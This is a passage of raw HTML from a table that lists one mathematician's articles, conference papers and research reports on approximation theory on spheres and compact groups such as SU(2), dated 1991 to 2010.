\">Proceedings</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"103\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Adigozelov</p><p style=\"background:undefined \">A.D.</p><p style=\"background:undefined \">Xalilov I. M.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"188\"><p style=\"background:undefined \">Baku,Inst.math.the International Conferense devoted to the 80-th anniversary of F.M.Maksudov</p></td><td width=\"85\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">2010</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">75-77</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">6</p></td><td width=\"150\"><p style=\"background:undefined \">On characterizationoffractional powers of The Dunkl operator on the sphere with the help of fractionalfinite differences</p></td><td width=\"75\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"103\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Huseynov, F.B.,</p></td><td width=\"188\"><p style=\"background:undefined \">Baku,State unversity International Conferense devoted to the 80-th anniversary of Y.C.Mamedov</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">2010</p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">89-90</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">7</p></td><td width=\"150\"><p style=\"background:undefined \">Weighted imultaneaously approximation on the unit sphere.</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"103\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Huseynov, F.B</p></td><td width=\"188\"><p style=\"background:undefined \">Baku,Inst.math.(Riyaziyyat-Mexanika institunun 50-illik yubleyi)</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">2009</p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">362-363</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">8</p></td><td width=\"150\"><p style=\"background:undefined \">Generalization of Peter-Weyl approximation theorem on $L^p$..</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle</p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi, H.</p></td><td width=\"188\"><p style=\"background:undefined \">Southeast Asian Bull. Math. 33</p></td><td width=\"85\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">2009</p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">no. 3,</p><p style=\"background:undefined \">569--577</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">9</p></td><td width=\"150\"><p style=\"background:undefined \">Best simultaneous approximation on the unit sphere.</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi,E.</p></td><td width=\"188\"><p style=\"background:undefined \">Int. J. Pure Appl. Math. 47</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2008</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">no. 1,</p><p style=\"background:undefined \">141--151 .</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\">&nbsp;</td><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"188\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">10</p></td><td width=\"150\"><p style=\"background:undefined \">Absolute convergence of lacunary Fourier series central functions. Int. J. Appl. Math.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi,E.</p><p style=\"background:undefined \"><strong>Rzaev, S. F</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Int. J. Pure Appl. Math. 47</p><p style=\"background:undefined \">Absolute convergence of lacunary Fourier series central functions. Int. J. Appl. Math. 20</p></td><td width=\"85\"><p style=\"background:undefined \">2007</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">no. 6,</p><p style=\"background:undefined \">779- 786.</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">11</p></td><td width=\"150\"><p style=\"background:undefined \">Spline generalized spherical functions on the sphere.</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi,E.</p><p style=\"background:undefined \"><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Int. J. Pure Appl. Math. 31</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2006</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">no. 1,</p><p style=\"background:undefined \">1--8 .</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\">12</td><td width=\"150\"><p style=\"background:undefined \">Best approximation on the sphere S<sup>3</sup>&nbsp;.</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">&nbsp;Sediqhi,A.</p><p style=\"background:undefined \"><strong>Rzaev,S.F&nbsp;</strong>&nbsp;</p></td><td width=\"188\"><p style=\"background:undefined \">4<sup>th</sup>&nbsp;&nbsp;&nbsp; Iranian Geometry and Topology seminar. Department of Mathematics of Urmiya University.(13-14 September)</p></td><td width=\"85\"><p style=\"background:undefined \">2006</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">23</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">13</p></td><td width=\"150\"><p style=\"background:undefined \">Approximation theory on compact groups</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \"><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">St. Petersburg branch of Steklov Math. Institute&nbsp;</p><p style=\"background:undefined \">St. Petersburg State&nbsp; University&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2005</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">74-83</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">14</p></td><td width=\"150\"><p style=\"background:undefined \">Spline Generalized Spherical functions on the sphere.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi E.&nbsp;<strong>, Rzaev, S.F.&nbsp;</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Baku, Inst.math .( May 11-13 )</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2005</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">no. 1,</p><p style=\"background:undefined \">141--142 .</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">15</p></td><td width=\"150\"><p style=\"background:undefined \">Spline on the CROSSES.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Badrkhan Alizadeh,<strong>Rzaev,S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Baku. Inst. math. (May 11-13)</p></td><td width=\"85\"><p style=\"background:undefined \">2005</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">41-43 .</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">16</p></td><td width=\"150\"><p style=\"background:undefined \">&nbsp;Direct and Inverse theorems</p><p style=\"background:undefined \">of approximation theory on compact groups.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Baku, Inst. math. (May 11-13)</p></td><td width=\"85\"><p style=\"background:undefined \">2005.<em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">71-72 .</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">17</p></td><td width=\"150\"><p style=\"background:undefined \">&nbsp;Spline on the group SU(2)</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Research Activities</p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi,E.</p><p style=\"background:undefined \"><strong>Rzaev,S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Tabriz university</p></td><td width=\"85\"><p style=\"background:undefined \">2005</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">no. 1--28 .</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">18</p></td><td width=\"150\"><p style=\"background:undefined \">Generalization of some theorems of approximation theory on compact groups.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi,H.</p><p style=\"background:undefined \"><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">35<sup>nd</sup>&nbsp;&nbsp; Annual Iranian math. Conference. Ahvaz – Iran (January&nbsp; 26-29)</p></td><td width=\"85\"><p style=\"background:undefined \">2005</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">39</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">19</p></td><td width=\"150\"><p style=\"background:undefined \">Exact constant for best approximation on group SU(2).</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi,E.</p><p style=\"background:undefined \"><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">35<sup>th</sup>&nbsp;annual Iranian conference. Ahvaz – Iran (January 26-29).</p></td><td width=\"85\"><p style=\"background:undefined \">2005</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;&nbsp; 21 .</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">20</p></td><td width=\"150\"><p style=\"background:undefined \">Structural and Construction characterization of functions given on compact groups..</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi,H</p><p style=\"background:undefined \"><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Yazd university 36<sup>th</sup>&nbsp;Annual Iranian math. conference. (September 10-13)</p></td><td width=\"85\"><p style=\"background:undefined \">2005</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">142-143.</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">21</p></td><td width=\"150\"><p style=\"background:undefined \">On modulus of smoothnessof functions given on compact groups.</p></td><td width=\"75\"><p style=\"background:undefined \">Article<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi,H.</p><p style=\"background:undefined \"><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Dynamical Syst.and Applications (July 5-10) 2004. p. 687-694</p></td><td width=\"85\"><p style=\"background:undefined \">2004</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">687-694</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">22</p></td><td width=\"150\"><p style=\"background:undefined \">Fourier series of differentiable functions on the group SU(2).</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Research Activities</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi E.,<strong>Rzaev, S.F.</strong>&nbsp;</p></td><td width=\"188\"><p style=\"background:undefined \">Tabriz University</p></td><td width=\"85\"><p style=\"background:undefined \">2004<em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">1-26</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">23</p></td><td width=\"150\"><p style=\"background:undefined \">Approximation theory on the compact symmetric space of rank one</p></td><td width=\"75\"><p style=\"background:undefined \">Research Activities&nbsp;<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Badrkhan Alizadeh,<strong>Rzaev, -S-.-F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">.Tabriz Technical (Azad University Shabestar) Institute P.O.Box: 51748-150.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2004</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">1-32</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">24</p></td><td width=\"150\"><p style=\"background:undefined \">Best approximation on the group SU(2).</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Research Activities</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi E.,<strong>Rzaev, -S-.-F.</strong>&nbsp;</p></td><td width=\"188\"><p style=\"background:undefined \">Tabriz University</p></td><td width=\"85\"><p style=\"background:undefined \">2003-2004&nbsp;<em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">1-18</p></td></tr><tr><td width=\"150\">&nbsp;</td><td width=\"150\">&nbsp;</td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">25</p></td><td width=\"150\"><ul><li>Spline on the group SU(2).</li></ul><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi,E.</p><p style=\"background:undefined \">R Agdassi E.,<strong>Rzaev, S.F</strong></p><p style=\"background:undefined \"><strong><strong>Rzaev, S.F</strong><br></strong></p></td><td width=\"188\"><p style=\"background:undefined \">St. Petersburg, (July 3-8), 2003.</p></td><td width=\"85\"><p style=\"background:undefined \">2003</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">3.</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"75\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">26</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Agdassi E.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">St. Petersburg, (July 3-8), 2003. p.3</p></td><td width=\"85\"><p style=\"background:undefined \">2003<em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">3</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">27</p></td><td width=\"150\"><p style=\"background:undefined \">K-Functional and best approximation on the crosses.</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Alizadeh,-Badrkhan ;<strong>Rzaev ,S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">.Int.-J.-Compact.-Numer.-Appl. [International – Journal – of –Computational – and - Numerical- Analaysis – and - Applications]</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2003</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">Vol-4</p><p style=\"background:undefined \">No1</p><p style=\"background:undefined \">29-41</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">28</p></td><td width=\"150\"><p style=\"background:undefined \">Fourier series of differentiable functions on SU(2) and SO(3)</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi E.&nbsp;<strong>, Rzaev ,S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Int.-J.- Compact.-Numer.-Appl.[International-Journal-of-Computational-and-Numerical-Analaysis-and-Applications]</p></td><td width=\"85\"><p style=\"background:undefined \">2003</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">Vol-4</p><p style=\"background:undefined \">No,1</p><p style=\"background:undefined \">43-50</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">29</p></td><td width=\"150\"><p style=\"background:undefined \">&nbsp; Some constructive theorems of approximation theory on compact groups.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Research Activities</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Tabriz University&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2002-2003</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">1-26</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">30</p></td><td width=\"150\"><p style=\"background:undefined \">Approximation of continuous functions on compact groups..</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">33<sup>th</sup>&nbsp;.Annual Iranian Math.&nbsp; Conference. Mashhad univ.</p></td><td width=\"85\"><p style=\"background:undefined \">2002</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">32</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">31</p></td><td width=\"150\"><p style=\"background:undefined \">Harmonic analysis on compact groups and applications of Approximation theory:</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Research Activities</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Tabriz, Res. Inst, Fund. Sci.&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2001-2002</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">1-24</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\">&nbsp;</td><td width=\"150\">&nbsp;</td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">32</p></td><td width=\"150\"><p style=\"background:undefined \">Jackson\'s theorem for compact groups..</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Aghdassi,E.</p></td><td width=\"188\"><p style=\"background:undefined \">35<sup>th</sup>&nbsp;annual Iranian conference. Ahvaz – Iran(January</p></td><td width=\"85\"><p style=\"background:undefined \">2005</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">21.</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"75\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">33</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">&nbsp;[Approximation&nbsp; Theory-and-its-Applications.-New- Series]</p></td><td width=\"85\"><p style=\"background:undefined \">2002<em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">Vol-18</p><p style=\"background:undefined \">no. 3,</p><p style=\"background:undefined \">79—85</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">34</p></td><td width=\"150\"><p style=\"background:undefined \">Absolutly convergence of Fourier series from group point of view.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \">Conference</p><p style=\"background:undefined \">Proceedings</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">32<sup>th</sup>&nbsp;annual Iranian conference. &nbsp;Mazandaran University&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">2001</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">68</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">35</p></td><td width=\"150\"><p style=\"background:undefined \">L<sub>2</sub>- Approximation on the compact groups.</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \"><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><ul><li>Materials of scientific conference. The questions on functional analysis and math. Physics. Baku, University</li></ul><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">1999</p></td><td width=\"107\"><p style=\"background:undefined \">418-419</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">36</p></td><td width=\"150\"><p style=\"background:undefined \">Rhapsody on the group SU(2). materials</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \">Kh.P.Rustamov&nbsp;&nbsp;<strong>Rzaev, S.F.&nbsp;&nbsp;</strong></p></td><td width=\"188\"><p style=\"background:undefined \">. X1 republ.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conference, math and mech. Baku , 1994.( In Russian)</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">1994</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">37</p></td><td width=\"150\"><p style=\"background:undefined \">Best approximation on the group SU(2).)</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \"><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Dokl, Acad. Nauk. Azerb. SSR. 1991. ( In Russian).</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined 